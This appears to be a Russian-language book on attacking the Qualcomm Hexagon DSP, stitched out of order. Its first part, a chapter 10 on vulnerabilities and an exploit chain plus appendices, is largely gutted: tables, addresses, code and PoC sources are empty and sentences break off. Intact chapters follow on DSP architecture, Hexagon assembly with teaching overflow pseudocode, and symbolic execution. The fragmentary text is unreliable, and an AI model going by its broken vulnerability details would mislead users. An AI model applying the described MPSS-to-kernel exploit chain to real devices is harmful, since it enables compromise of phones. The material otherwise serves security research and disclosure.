| Библиотека | Размер | Dispatch-функция | Привилегии |
|------------|--------|-----------------|------------|
|
|
|
|
|
|
|
|
|
|
Путь на устройстве:
---
## 10.4 FastRPC ABI
Все skel dispatch-функции компилируются QAIC IDL компилятором с единой сигнатурой:
### Scalar encoding (
Макрос кодирования (HLOS сторона,
###
На 32-bit Hexagon:
---
## 10.5 Уязвимость 1: OOB dispatch в
Тип:
Библиотека:
Адрес:
Severity: HIGH
### Механизм
Dispatch-функция извлекает
Нет ни одного
### Сравнение с защищённой библиотекой
В
В
### Эксплоит-примитив
Для превращения в arbitrary code execution нужно знать адрес dispatch table и что лежит за ней. В PIE-бинаре это требует info leak; в non-PIE — смещение фиксировано.
---
## 10.6 Уязвимость 2: taint r16 в memory ops (56 срабатываний)
Тип:
Библиотека:
Severity: HIGH (56 находок)
Инструмент: angr taint tracking через
### Механизм
Адреса с HIGH-severity writes через r16:
| Адрес | Инструкция |
|-------|-----------|
|
|
|
|
|
|
|
|
|
|
|
|
|
Примечание: часть срабатываний — false positives тaint-анализа (taint слишком широко распространяется). Адреса
---
## 10.7 Уязвимость 3: захардкоженный dst в
Тип:
Библиотека:
Адрес:
Severity: MEDIUM→HIGH (зависит от вызывающего)
### Дизассем
Первичная защита:
Проблема — signed check возврата. Паттерн CVE-2020-11201: если где-то выше
---
## 10.8 Уязвимость 4:
Тип: unauthorized DSP user PD crash
Библиотека:
Адрес:
Severity: MEDIUM (DoS)
Функция
Прямого LPE нет, но полезно для изучения поведения при крашах DSP PD и потенциально для DoS-зависимых side-channel атак.
---
## 10.9 QDI interface в
Тип: DSP kernel call surface
Библиотека:
Severity: исследуется
Импорты из QuRT kernel:
QDI (Qualcomm Driver Interface) — механизм syscall из DSP user-process в DSP kernel. Если через dispatch можно вызвать метод, использующий эти функции с контролируемыми аргументами — потенциальная дыра в DSP kernel space (аналог Linux syscall с неправильной валидацией).
Из DSP kernel → shared memory → Linux kernel LPE: каждый шаг требует отдельного примитива, но сам наличие QDI вызовов в публичном dispatch интерфейсе — серьёзный расширитель атаки.
---
## 10.10 PoC: зондирование fastrpc из ADB shell
Код
Запуск:
Ожидаемый результат из
---
## 10.11 Harness для fuzzing skel-библиотек
### Архитектура
### AFL++ кампания
Ожидаемое: при
---
## 10.12 Теоретическая цепочка: MPSS → CDSP → kernel
Полная exploit chain требует трёх этапов:
### Этап 1: RCE на MPSS (уже реализован)
Описан в главах 8–9. WAP Push overflow → shellcode в QuRT WMS task → контроль над MPSS DSP.
### Этап 2: Боковое движение MPSS → CDSP
MPSS и CDSP — разные DSP домены. Связь между ними:
Из MPSS shellcode: записываем в SMEM область которую читает CDSP-сервис → контролируем данные в CDSP process.
### Этап 3: CDSP shellcode → kernel LPE
Из CDSP DSP user PD, если есть RCE:
1. Через QDI: вызываем
2. Через shared memory corruption: пишем в область mapped в Linux kernel → kernel RIP
3. Через /dev/fastrpc ioctl: fastrpc kernel driver маппит shared memory
Конкретный путь к
---
## 10.13 Статистика анализа
Результаты запуска
| Метрика | Значение |
|---------|----------|
| Проанализировано библиотек | 1 |
| Всего находок | 655 |
| CRITICAL | 0 |
| HIGH | 56 |
| MEDIUM | 599 |
| Основная функция |
| Первичный класс HIGH |
| OOB dispatch | confirmed @
| Hardcoded buffer | confirmed @
Инструменты:
---
## 10.14 TODO: следующие шаги
### Сделано
### В работе
- [ ] Ручная верификация OOB в
- Метод:
- [ ] Signed length check в вызывающем для
- Нужно: дизассем пути
- [ ] Путь доступа из shell к libsysmon_skel.so
- Опция 1:
- Опция 2: NNAPI context (
- [ ] Harness
- Seed 02 (
- [ ]
-
---
## 10.15 Ответственное раскрытие
Qualcomm PSIRT:
Затронутые компоненты:
Устройство: POCO M8 5G (SM6475/Snapdragon 6 Gen 3).
Firmware: MPSS.DE.3.1.4.c1-00319.
Timeline: 90 дней от даты уведомления перед публикацией.
---
DSP attack surface на Qualcomm — огромный. 10 skel-библиотек, 655 автоматически найденных кандидатов, 56 HIGH. Ручная верификация OOB в
ewpage
# Приложение A. PoC исходники: fastrpc_probe.c и fastrpc_probe2.c
Инструменты зондирования FastRPC CDSP доступа из ADB shell контекста.
---
## A.1 fastrpc_probe.c
Тест через
---
## A.2 fastrpc_probe2.c
Тест через прямой
ewpage
# Приложение B. dsp_vuln_finder.py
Паттерн-сканер уязвимостей в Hexagon DSP skel .so библиотеках.
ewpage
# Приложение C. Материалы для изучения
Рекомендованная литература и документация по Hexagon QDSP6 и FastRPC.
---
## Официальная документация Qualcomm
Hexagon SDK / FastRPC:
- Qualcomm DSP Developer Documentation — FastRPC и Android Native Hardware Buffers
Официальный обзор FastRPC API, IDL workflow, shared memory модели. Стартовая точка для понимания
Hexagon V73 Programmer's Reference Manual:
- 80-N2040-53 — Qualcomm Hexagon V73 Programmer's Reference Manual
Полный набор инструкций V73: encoding, семантика, пакеты. Обязательно при декодировании неизвестных опкодов вручную.
- 80-N2040-54 REV AB — Qualcomm Hexagon V73 HVX Programmer's Reference Manual
HVX (Hexagon Vector eXtensions): 128-байтовые векторные регистры, SIMD инструкции. Нужен при реверсе ML/camera DSP библиотек.
Hexagon SDK полный пакет:
- Qualcomm Hexagon SDK — All Docs
Полный SDK: QuRT RTOS API, FastRPC tutorials, примеры skel/stub кода, инструкция по сборке под
---
## Дизассемблеры и библиотеки
yaxpeax-hexagon:
- git.iximeow.net/yaxpeax-hexagon
Rust-декодер для Hexagon инструкций. Точнее чем binutils для V73; поддерживает compound инструкции и правильно декодирует
- crates.io/crates/yaxpeax-hexagon
Crate для интеграции в собственные инструменты анализа. Использовать вместо
---
## Как использовать эти источники
| Задача | Документ |
|--------|----------|
| Понять encoding незнакомой инструкции | 80-N2040-53 PDF, глава по типу инструкции |
| Разобраться с HVX в camera/ML либе | 80-N2040-54 PDF |
| Написать корректный skel stub | Qualcomm SDK All Docs, FastRPC раздел |
| Программный дизассемблер для Rust-инструмента | yaxpeax-hexagon crate |
| Понять SELinux/доступность fastrpc | SDK → FastRPC + Android Permissions документация |
# Глава 1. Hexagon QDSP6: Архитектура изнутри
by progasm
---
## Предисловие
Если ты когда-нибудь разбирал Qualcomm-девайс и думал «а что вообще там внутри, за этим ARM-ядром» — добро пожаловать. Я провёл несколько месяцев, закапываясь в DSP-прошивки, и хочу рассказать тебе то, что не найдёшь в одном месте: как устроен Hexagon QDSP6, как он живёт внутри SoC, почему он интересен с точки зрения безопасности, и как именно его ломать.
Это не просто теория. Мы пройдём путь от архитектуры до реального PoC на реальном железе — POCO M8 5G с чипом Snapdragon 6 Gen 3 (SM6475, платформа
parrot). Но сначала — фундамент.---
## 1.1 Что такое DSP и зачем Qualcomm его придумал
DSP — Digital Signal Processor. Это не просто «ещё один процессор» рядом с ARM. Это специализированный вычислитель, оптимизированный под задачи обработки сигналов: аудио, видео, нейронные сети, связь.
ARM Cortex умеет всё, но ценой энергопотребления. Задача «декодировать AAC-стрим в фоне» на ARM-ядре — это разбуженное ядро, полная частота, 300+ мВт. На DSP — та же задача при 10 мВт, ядра ARM спят. Вот почему Qualcomm годами вкладывался в собственный DSP.
В SoC на базе Snapdragon присутствует несколько DSP-инстанций:
| Экземпляр | Назначение |
|-----------|-----------|
| ADSP (Audio DSP) | Аудио, Always-On Sensing |
| CDSP (Compute DSP) | HVX, нейросети, ML |
| MDSP (Modem DSP) | Стек LTE/5G, baseband |
| SLPI | Сенсоры, low-power islands |
Нас в первую очередь интересует MDSP и CDSP — именно там живут самые вкусные уязвимости с точки зрения привилегий и атакуемости извне.
---
## 1.2 Семейство Hexagon: от V1 до V73
Qualcomm называет свою DSP-архитектуру Hexagon. QDSP6 — это шестое поколение, именно оно стало массовым и используется во всех современных Snapdragon SoC.
Внутри QDSP6 — несколько поколений микроархитектур:
Code:
V1 → V2 → V3 → V4 (MSM7xxx, ранние Snapdragon)
V5 → V55 → V56 (Snapdragon 800, 801)
V60 → V61 → V62 (Snapdragon 820, 835)
V65 → V66 (Snapdragon 845, 855)
V68 (Snapdragon 865, 888)
V69 (Snapdragon 8 Gen 1)
V73 (Snapdragon 8 Gen 2, 6 Gen 3)
Наш таргет — SM6475 (Snapdragon 6 Gen 3, платформа
parrot) — использует Hexagon V73.Что менялось между версиями:
- Ширина вектора HVX: 64→128 байт
- Количество execution units
- Расширения для ML: Hexagon Neural Processing Unit (HTA)
- Изменения MMU и MPU
- Новые инструкции и форматы пакетов
Документация по конкретным версиям частично публична — Qualcomm выкладывает reference manuals на developer.qualcomm.com, но не всё и не всегда актуальное.
---
## 1.3 Архитектура ядра QDSP6
Hexagon QDSP6 — VLIW (Very Long Instruction Word) процессор с аппаратной многопоточностью. Это сразу два непривычных свойства для тех, кто привык к x86 или ARM.
### 1.3.1 VLIW: пакеты инструкций
В обычном процессоре одна инструкция — одна операция. В VLIW компилятор сам упаковывает несколько независимых операций в один «пакет», который процессор исполняет параллельно.
Code:
// Пример пакета QDSP6 (псевдокод)
{
R0 = R1 + R2 // ALU операция
R3 = memw(R4) // Load из памяти
P0 = cmp.eq(R5,R6) // Comparison → predicate
}
// Всё три операции — за один такт
Пакеты Hexagon могут содержать до 4 слотов. Каждый слот — отдельная функциональная единица:
- Slot 0, 1: ALU / shift / арифметика
- Slot 2: ALU / умножение
- Slot 3: Load/Store
Важный момент для реверсера: если ты видишь в дизассемблере инструкции, обёрнутые в
{ } — это один пакет, исполняющийся атомарно. Это критично для понимания семантики кода.### 1.3.2 Аппаратные потоки (Hardware Threads)
QDSP6 поддерживает одновременное исполнение нескольких аппаратных потоков (hardware threads, или HW threads) на одном ядре. V73 поддерживает до 4 HW-потоков.
Это не гиперпоточность в смысле Intel: каждый HW-поток имеет свой полный набор регистров, свой PC, свой стек. При переключении между потоками нет overhead на сохранение контекста — регистровый файл у каждого свой.
Это влияет на безопасность: каждый поток может иметь разные привилегии, разные MMU-контексты.
### 1.3.3 Execution Units
Code:
┌────────────────────────────────────────────────┐
│ Hexagon V73 Core │
│ │
│ ┌──────┐ ┌──────┐ ┌──────┐ ┌──────┐ │
│ │ ALU0 │ │ ALU1 │ │ MUL │ │ LD/ST│ │
│ └──────┘ └──────┘ └──────┘ └──────┘ │
│ ↑ ↑ ↑ ↑ │
│ ───────────────────────────────────────── │
│ Unified Register File │
│ R0-R31 (32×32-bit general purpose) │
│ P0-P3 (4×8-bit predicate registers) │
│ C0-C31 (control registers) │
│ ───────────────────────────────────────── │
│ Instruction Fetch / Decode │
│ ───────────────────────────────────────── │
│ HW Thread 0 | HW Thread 1 | HW Thread 2 │
│ HW Thread 3 │
└────────────────────────────────────────────────┘
### 1.3.4 Векторный блок HVX
HVX (Hexagon Vector eXtensions) — это SIMD-расширение с регистрами шириной 128 байт (1024 бит). Используется для:
- Обработки изображений
- DSP-вычислений
- Нейронных сетей
С точки зрения безопасности HVX-инструкции — отдельная поверхность: в истории были баги в парсерах HVX-инструкций в эмуляторах и при JIT-компиляции.
---
## 1.4 Подсистема памяти
### 1.4.1 Адресное пространство
QDSP6 использует 32-битное виртуальное адресное пространство с поддержкой MMU. Типичная раскладка для ADSP/CDSP:
Code:
0x00000000 - 0x00FFFFFF : TCM (Tightly Coupled Memory) — быстрая память ядра
0x01000000 - 0x0FFFFFFF : Internal RAM
0x80000000 - 0x9FFFFFFF : Shared memory с ARM (SMEM)
0xC0000000 - 0xFFFFFFFF : MMIO, периферия
Для MDSP (модем DSP) раскладка другая и строже изолирована от HLOS (High-Level OS = Android).
### 1.4.2 MPU vs MMU
Не все версии Hexagon имеют полноценный MMU. Некоторые инстанции (SLPI, части ADSP) используют MPU (Memory Protection Unit) — упрощённую версию без трансляции адресов, только с регионами и правами.
MDSP исторически использовал более строгую изоляцию через SMMU (System MMU) на стороне ARM-хоста, что добавляет слой защиты но и создаёт интересные вопросы при атаке через shared memory.
### 1.4.3 Уровни привилегий
Hexagon имеет 3 уровня привилегий (privilege levels):
Code:
User mode (PL0) — пользовательский код, сервисы
Supervisor (PL1) — QuRT RTOS, управление ресурсами
Monitor/Hypervisor — только на некоторых конфигурациях
QuRT — это RTOS от Qualcomm, работающий на Hexagon. Это монолитная ОС реального времени, которая управляет потоками, памятью и IPС на DSP. Если ты получил код выполнения в QuRT — ты фактически в supervisor mode на DSP.
---
## 1.5 Коммуникация ARM ↔ Hexagon
Это ключевое место с точки зрения атаки. Как ARM (Android) общается с DSP?
### 1.5.1 FastRPC
FastRPC (Fast Remote Procedure Call) — это механизм IPC между HLOS (Android) и DSP. Работает через kernel driver (
/dev/adsprpc-smd, /dev/fastrpc-*) и shared memory.
Code:
┌─────────────────────┐ ┌─────────────────────┐
│ Android (ARM) │ │ Hexagon DSP │
│ │ │ │
│ app → libcdsprpc │──────▶│ skeleton stub │
│ ↓ │ SHM │ ↓ │
│ /dev/fastrpc-cdsp │ │ compute_lib.so │
└─────────────────────┘ └─────────────────────┘
Клиентская часть на ARM вызывает функции через IDL stub (Interface Definition Language). Данные передаются через shared memory или SMEM. На стороне DSP живёт skeleton — код, принимающий вызовы и вызывающий реальные функции.
FastRPC — наш главный вектор атаки. Подробно разберём в главе 9.
### 1.5.2 SMD / SMSM (Shared Memory Driver)
Для моденного DSP (MDSP) используется другой механизм — SMD (Shared Memory Driver) и его новая версия GLINK. Это более низкоуровневый транспорт для обмена данными между ARM и модемом.
### 1.5.3 Subsystem Restart (SSR)
Интересная особенность: если DSP паникует (crash), ARM-сторона это детектирует через SSR механизм и перезапускает DSP-подсистему. Это важно для нас как исследователей — crash на DSP не всегда ведёт к reboot устройства, иногда это просто restart сервиса.
---
## 1.6 Безопасность и изоляция: теория
Qualcomm декларирует несколько уровней защиты:
1. SMMU изоляция — DSP не может читать произвольную память ARM
2. Подпись образов — прошивка DSP подписана, верифицируется при загрузке
3. Privilege separation — user/supervisor разделение внутри DSP
4. SecureMSM — на уровне TrustZone ARM контролирует загрузку DSP
На практике:
- FastRPC открывает широкую атаку-поверхность
- Shared memory регионы часто доступны из userspace
- Проверки в IDL stub бывают неполными
- Старые
.soна DSP с N-day уязвимостями
---
## 1.7 Инструменты для работы с Hexagon
| Инструмент | Назначение |
|-----------|-----------|
| LLVM/Clang для Hexagon | Официальный компилятор, поддержка в mainline LLVM |
| Qualcomm SDK | Официальный SDK для CDSP (частично публичный) |
| IDA Pro + Hexagon plugin | Дизассемблер (plugin от Qualcomm или community) |
| Ghidra + QDSP6 module | Открытый анализ (NSA Ghidra + community processor) |
| QEMU + Hexagon | Эмуляция (добавлена в mainline QEMU 6.x) |
| hexagon-binutils | GNU binutils порт для Hexagon |
| Frida | Динамический анализ (нужен кастомный backend для DSP) |
---
## 1.8 Итог главы
Мы разобрали:
- Hexagon QDSP6 — VLIW-процессор с аппаратной многопоточностью
- Внутри SoC есть несколько DSP-инстанций (ADSP, CDSP, MDSP)
- Ключевой канал атаки — FastRPC между Android и DSP
- QuRT — RTOS на DSP, supervisor-уровень
- Архитектура памяти и уровни привилегий
В следующей главе погружаемся в ассемблер Hexagon — учимся читать и писать код для QDSP6, разбираем реальные инструкции из прошивок.
---
«Архитектура — это карта. Пока не умеешь её читать — остаёшься туристом.»
ewpage
# Глава 2. Hexagon QDSP6 Assembly: читаем и пишем как человек
by progasm
---
## 2.1 Почему ассемблер QDSP6 — это не больно
Первый раз открывая дизассемблер Hexagon, хочется закрыть ноутбук и уйти. Инструкции выглядят странно, синтаксис непривычный, везде какие-то
{ } скобки. Но на самом деле всё логично — нужно просто понять несколько ключевых концепций, и дальше читать будет легко.Я проходил через это. Давай пройдём вместе, но быстрее.
---
## 2.2 Регистры
### 2.2.1 Общего назначения (R0–R31)
32 регистра по 32 бита. Можно объединять в пары для 64-битных операций:
Code:
R0 ; 32-bit регистр
R1:0 ; 64-bit пара: R1 (старшие 32 бит) : R0 (младшие 32 бит)
R3:2 ; следующая пара
Calling convention (ABI Hexagon):
| Регистр | Роль |
|---------|------|
| R0–R5 | Аргументы функции / возвращаемые значения |
| R6–R7 | Временные (callee может использовать) |
| R8–R15 | Saved (callee должен сохранить) |
| R16–R27 | Callee-saved |
| R28 | Callee-saved |
| R29 | Stack Pointer (SP) |
| R30 | Frame Pointer (FP) |
| R31 | Link Register (LR) — адрес возврата |
Если функция получает структуру — она передаётся через R0:R1 (8 байт) или через указатель в R0.
### 2.2.2 Predicate registers (P0–P3)
4 predicate-регистра по 8 бит. Это флаги условий, но более гибкие чем в ARM:
Code:
P0 = cmp.eq(R0, R1) ; P0 = (R0 == R1)
P1 = cmp.gt(R2, R3) ; P1 = (R2 > R3) signed
P2 = cmp.gtu(R4, R5) ; P2 = (R4 > R5) unsigned
if (P0) R6 = R7 ; условное присваивание
if (!P1) jump .label ; условный переход (инвертированный)
Predicate-регистры можно комбинировать:
Code:
P3 = P0 & P1 ; логическое AND предикатов
P3 = P0 | P1 ; logical OR
P3 = P0 ^ P1 ; XOR
### 2.2.3 Control Registers (C0–C31)
Управляющие регистры. Наиболее важные:
| Регистр | Псевдоним | Назначение |
|---------|-----------|-----------|
| C0 | SA0 | Loop start address 0 |
| C1 | LC0 | Loop count 0 |
| C2 | SA1 | Loop start address 1 |
| C3 | LC1 | Loop count 1 |
| C4 | P3:0 | Predicate registers (все 4) |
| C8 | USR | User Status Register |
| C9 | PC | Program Counter |
| C10 | UGP | User General Pointer |
| C11 | GP | Global Pointer |
| C29 | STID | Software Thread ID |
| C30 | ELR | Exception Link Register |
| C31 | PKTCOUNT | Packet counter |
---
## 2.3 Пакеты инструкций: ключевая концепция
Это самое важное что нужно понять в Hexagon ассемблере.
Hexagon — VLIW процессор. Компилятор упаковывает несколько независимых инструкций в пакет (packet), который исполняется за один такт.
Code:
; Обычная последовательность (не пакет):
R0 = R1 + R2
R3 = R4 + R5
; Тот же код как пакет:
{
R0 = R1 + R2
R3 = R4 + R5
}
Правила пакетов:
1. До 4 инструкций в пакете
2. Все инструкции в пакете читают входные регистры до того как какая-либо инструкция записала результат
3. Нельзя в одном пакете читать регистр, в который другая инструкция того же пакета пишет (data hazard)
4. В пакете может быть только один branch
Data forwarding исключение: запись в регистр в пакете N видна только с пакета N+1. Это критически важно для корректного чтения кода!
Code:
; ОШИБКА — data hazard в пакете:
{
R0 = R1 + R2 ; пишем R0
R3 = R0 + R4 ; читаем R0 — но это СТАРОЕ значение R0!
}
; Правильно:
R0 = R1 + R2
{
R3 = R0 + R4 ; теперь R0 уже обновлён
}
В дизассемблере (IDA, Ghidra) пакеты обычно отображаются с явными скобками или специальными маркерами.
---
## 2.4 Инструкции: базовый набор
### 2.4.1 Арифметика
Code:
; Сложение/вычитание
R0 = R1 + R2 ; R0 = R1 + R2
R0 = R1 - R2 ; R0 = R1 - R2
R0 = R1 + R2:sat ; R0 = saturate(R1 + R2)
R0 += R1 ; R0 = R0 + R1 (аккумуляция)
; 64-битная арифметика
R1:0 = R3:2 + R5:4 ; 64-bit add
; Умножение
R0 = mpy(R1, R2) ; R0 = низкие 32 бит (R1 * R2)
R1:0 = mpy(R2, R3) ; 64-bit результат
R0 = mpyi(R1, #5) ; умножить на immediate
; Деление (медленно!)
R0 = R1 / R2 ; знаковое деление
R0 = R1 / R2 :rnd ; с округлением
### 2.4.2 Логика и сдвиги
Code:
R0 = and(R1, R2) ; R0 = R1 & R2
R0 = or(R1, R2) ; R0 = R1 | R2
R0 = xor(R1, R2) ; R0 = R1 ^ R2
R0 = not(R1) ; R0 = ~R1
; Сдвиги
R0 = asr(R1, #4) ; арифметический сдвиг вправо на 4
R0 = lsr(R1, #4) ; логический сдвиг вправо
R0 = asl(R1, #4) ; сдвиг влево
R0 = asr(R1, R2) ; сдвиг на переменное количество бит
; Ротация
R0 = rol(R1, #3) ; rotate left
; Битовые операции
R0 = setbit(R1, #5) ; установить бит 5
R0 = clrbit(R1, #5) ; сбросить бит 5
R0 = togglebit(R1, #5) ; инвертировать бит 5
P0 = tstbit(R1, #5) ; проверить бит 5 → predicate
### 2.4.3 Работа с памятью (Load/Store)
Code:
; Loads
R0 = memb(R1 + #4) ; load byte (sign-extended)
R0 = memub(R1 + #4) ; load unsigned byte
R0 = memh(R1 + #8) ; load halfword (16 bit)
R0 = memuh(R1 + #8) ; load unsigned halfword
R0 = memw(R1 + #12) ; load word (32 bit)
R1:0 = memd(R2 + #16) ; load double (64 bit)
; Addressing modes
R0 = memw(R1) ; base register
R0 = memw(R1 + #offset) ; base + immediate
R0 = memw(R1 + R2 << #2) ; base + scaled register
R0 = memw(R1 ++ #4) ; post-increment: load then R1 += 4
R0 = memw(R1 -- #4) ; post-decrement
; Stores
memb(R1 + #4) = R0 ; store byte
memh(R1 + #4) = R0 ; store halfword
memw(R1 + #4) = R0 ; store word
memd(R1 + #4) = R1:0 ; store double
### 2.4.4 Управление потоком
Code:
; Безусловные переходы
jump .label ; прямой jump (PC-relative)
jumpr R0 ; indirect jump (через регистр)
call .func ; вызов функции (R31 = return addr)
callr R0 ; indirect call
; Условные переходы
if (P0) jump .label ; если P0 истина
if (!P0) jump .label ; если P0 ложь
if (P0.new) jump .label ; .new — ссылка на P0 вычисленный в том же пакете
; Return
jumpr R31 ; return (jump to link register)
Важная концепция — .new:
Code:
{
P0 = cmp.eq(R0, #0)
if (P0.new) jump:t .label ; :t = taken hint (предсказание)
}
.new позволяет использовать предикат вычисленный в этом же пакете. Это ускоряет код но делает его труднее для чтения.---
## 2.5 Аппаратные циклы
Одна из самых красивых фич Hexagon — аппаратные циклы без overhead на проверку условия:
Code:
; Аппаратный цикл
loop0(.loop_body, #10) ; настроить счётчик = 10, адрес начала
.loop_body:
R0 = R0 + R1
R2 = memw(R3 ++ #4) ; post-increment
endloop0 ; уменьшить счётчик, если != 0 — jump к loop_body
; Вложенные циклы
loop0(.inner, R4)
loop1(.outer, R5)
.outer:
.inner:
; тело
endloop0
endloop1
endloop0/endloop1 — специальные инструкции которые автоматически:1. Декрементируют счётчик (LC0/LC1)
2. Прыгают к SA0/SA1 если счётчик != 0
Для реверсера: если видишь
endloop0 — перед тобой hot loop. Часто там и живут баги с off-by-one.---
## 2.6 Разбор кода: учебный пример
Примечание: Этот и следующий фрагменты — учебные псевдокодовые примеры, иллюстрирующие типичные паттерны из DSP-кода. Не из конкретных проанализированных библиотек. Реальные дизассемблированные фрагменты из нашего исследования — в главах 7–10.
Типичный паттерн: функция с magic-check + bounds validation:
Code:
; Функция: int validate_buffer(void *buf, int size)
; (учебный псевдокод, иллюстрирующий типичный паттерн)
{
R2 = memw(R0 + #0) ; load buf->magic
R3 = memw(R0 + #4) ; load buf->length
}
{
R4 = and(R3, #0xFFFF0000) ; маскируем старшие 16 бит length
P0 = cmp.eq(R2, #0xDEADBEEF) ; проверяем magic
}
{
if (!P0) jump .fail ; если magic неверный — выход
R5 = R3 ; копируем length
}
{
R4 = asr(R4, #16) ; R4 = size (старшие 16 бит)
R6 = R1 ; сохраняем аргумент size
}
P1 = cmp.gtu(R5, R6) ; length > input size?
if (P1) jump .fail ; overflow protection
.fail:
R0 = #-1
jumpr R31 ; return -1
Что видно в паттерне:
1. Структура с полями
magic и length (offset 0 и 4)2. Проверка magic значения
0xDEADBEEF3. Проверка
length > size через cmp.gtuТипичный баг в таком коде:
R4 = and(R3, #0xFFFF0000)— маскируются только старшие 16 бит- Затем
R4 = asr(R4, #16)— реально используется(length >> 16) - Но проверка
cmp.gtu(R5, R6)использует R5 (полное R3), а не R4
В реальных прошивках встречаются подобные несоответствия. Конкретные примеры из нашего исследования — в главах 7–9.
---
## 2.7 Соглашения о вызовах: практика
Code:
; Вызов функции: int memcpy_checked(void *dst, void *src, size_t n)
; dst → R0, src → R1, n → R2
.caller:
R0 = R28 ; dst
R1 = R27 ; src
R2 = #256 ; n = 256 байт
call memcpy_checked
; R0 теперь содержит return value
; Пролог функции:
memcpy_checked:
{
allocframe(#24) ; выделить кадр стека (24 байта)
memw(R29 + #0) = R16 ; сохранить callee-saved
}
memw(R29 + #4) = R17
memw(R29 + #8) = R18
; Эпилог:
{
R0 = #0 ; return value
dealloc_return ; восстановить кадр + return
}
allocframe(#N) = R29 -= N; memw(R29) = R31; memw(R29+4) = R30dealloc_return = R31 = memw(R29); R30 = memw(R29+4); R29 += N; jumpr R31Это нужно знать наизусть при реверсе.
---
## 2.8 Специальные паттерны и антипаттерны
### 2.8.1 Загрузка константы (нет immediate > 16 бит)
Hexagon не может загрузить 32-битную константу за одну инструкцию. Компилятор генерирует:
Code:
R0 = ##0x12345678 ; псевдоинструкция → разворачивается в:
; R0.H = #0x1234 ; hi-16
; R0.L = #0x5678 ; lo-16
Или через:
Code:
R0 = #lo(0x12345678)
R0.H = #hi(0x12345678)
### 2.8.2 Паттерн switch/case
Code:
; switch(R0) с таблицей переходов
R1 = jumptable_base
R0 = asl(R0, #2) ; R0 *= 4 (размер указателя)
R0 = R0 + R1 ; адрес записи в таблице
R0 = memw(R0) ; загрузить адрес case
jumpr R0 ; перейти
В прошивках это очень частый паттерн — конечные автоматы протоколов.
### 2.8.3 Паттерн memmove с выравниванием
Code:
; Быстрый memmove через memd (double-word)
loop0(.memmove_loop, R2 >> #3) ; count = len / 8
.memmove_loop:
R3:2 = memd(R0 ++ #8) ; load 8 bytes, post-increment src
memd(R1 ++ #8) = R3:2 ; store 8 bytes, post-increment dst
endloop0
Если
R2 не кратно 8 — хвост обрабатывается отдельно. Если хвост не обрабатывается — потенциальный баг.---
## 2.9 Что дает нам дизассемблер
### IDA Pro + Hexagon Plugin
Qualcomm выпускал официальный IDA-плагин, но он устарел. Актуальный — форк с поддержкой V73.
Полезные горячие клавиши:
P— создать функцию из текущего адресаY— установить тип переменной/функцииN— переименоватьX— xrefs to
При анализе DSP-кода включи
Options → Compiler → Hexagon для правильного распознавания calling convention.### Ghidra + QDSP6
Более открытый путь. NSA Ghidra поддерживает Hexagon V67+, для V73 может потребоваться патч процессорного модуля.
Killer feature Ghidra для нас — Decompiler. Он генерирует псевдо-C код из Hexagon ассемблера, и это сильно ускоряет реверс.
C:
// Пример вывода Ghidra decompiler для validate_buffer:
int validate_buffer(void *buf, int size) {
uint magic = *(uint*)buf;
uint length = *((uint*)buf + 1);
if (magic != 0xdeadbeef) return -1;
if (length > (uint)size) return -1;
// ...
}
---
## 2.10 Практическое упражнение
Примечание: Это учебный псевдокод, иллюстрирующий паттерн heap overflow в RPC-обработчике. Реальный пример подобного паттерна из нашего исследования — в главе 10 (sysmon_usermode_buffer_copy @ 0x33c8).
Паттерн heap overflow в RPC-обработчике:
Code:
; RPC-обработчик (учебный псевдокод)
allocframe(#32)
{
R16 = R0 ; сохранить первый аргумент
R17 = R1 ; сохранить второй
}
{
R0 = memw(R16 + #0) ; load request->type
R1 = memw(R16 + #4) ; load request->handle
}
R2 = #0x14 ; sizeof(response) = 20 bytes HARDCODED
call malloc ; malloc(0x14)
{
P0 = cmp.eq(R0, #0) ; malloc вернул NULL?
R18 = R0 ; сохранить указатель
}
if (P0) jump .oom_error ; out of memory
; ... обработка
R0 = memw(R17 + #0) ; load size из пользовательских данных
{
R1 = R18 ; dst = malloc(0x14) буфер
R2 = memw(R17 + #4) ; load src из пользовательских данных
}
call memcpy ; memcpy(dst, src, size)
; НЕТ проверки size перед memcpy → heap overflow
Паттерн:
size берётся из пользовательских данных без проверки, malloc выделяет фиксированные 0x14 = 20 байт, memcpy копирует неограниченное количество. Это паттерн heap overflow. Реальный пример этого паттерна в нашем исследовании: sysmon_usermode_buffer_copy @ 0x33c8 — malloc(0x101), затем memscpy(dst, 0x101, src, user_controlled_len) (глава 10).---
## 2.11 Итог главы
Мы изучили:
- Регистровый файл Hexagon (R0-R31, P0-P3, C-регистры)
- Концепцию пакетов VLIW и data forwarding
- Базовый набор инструкций с примерами
- Calling convention Hexagon ABI
- Реальные паттерны из DSP-прошивок
- Как читать дизассемблированный код
В следующей главе переходим к символьному исполнению — инструменту который позволит нам найти пути достижения уязвимостей автоматически.
---
«Дизассемблер — это не перевод. Это другой язык для описания того же.»
ewpage
# Глава 3. Символьное исполнение: как заставить машину думать за тебя
by progasm
---
## 3.1 Проблема которую мы решаем
Ты смотришь на функцию парсера. 400 строк ассемблера. Восемь условных переходов. Три вложенных цикла. И где-то там — условие при котором происходит целочисленное переполнение.
Как его найти?
Вариант один: читать руками. Долго, пропускаешь кейсы, устаёшь.
Вариант два: фаззить. Запускать много входных данных и смотреть на краши. Работает, но покрытие неполное — ты никогда не знаешь, добрался ли фаззер до нужной ветки.
Вариант три: символьное исполнение. Пусть инструмент сам найдёт все пути и условия, при которых достигается уязвимое состояние.
---
## 3.2 Что такое символьное исполнение
Обычное конкретное исполнение:
Code:
input = 42
x = input + 1 → x = 43
if (x > 100): ... → FALSE, ветка не взята
Символьное исполнение:
Code:
input = α (символ, "неизвестное значение")
x = α + 1 (символическое выражение)
if (x > 100):
→ Ветка TRUE взята когда: α + 1 > 100 → α > 99
→ Ветка FALSE взята когда: α ≤ 99
Вместо конкретных значений мы работаем с символическими выражениями. При каждом условном переходе программа разветвляется на два состояния. В каждом ветке накапливаются constraints — ограничения на символические переменные.
Когда мы хотим узнать: "при каком входе достигается эта точка?" — мы передаём накопленные constraints в SMT-solver (например Z3), который находит конкретное значение.
Code:
Constraints: { α > 99, α < 256 }
Z3 решение: α = 100 ✓
---
## 3.3 Архитектура symbolic execution engine
Code:
┌─────────────────────────────────────────────────────┐
│ Symbolic Execution Engine │
│ │
│ ┌──────────────┐ ┌───────────────────────────┐ │
│ │ Binary/ │ │ Symbolic State │ │
│ │ Program │───▶│ - Registers (symbolic) │ │
│ └──────────────┘ │ - Memory (symbolic) │ │
│ │ - Path constraints │ │
│ ┌──────────────┐ └───────────────────────────┘ │
│ │ Instruction │ │ │
│ │ Semantics │ ▼ │
│ │ (lifter) │ ┌───────────────────────────┐ │
│ └──────────────┘ │ State Manager │ │
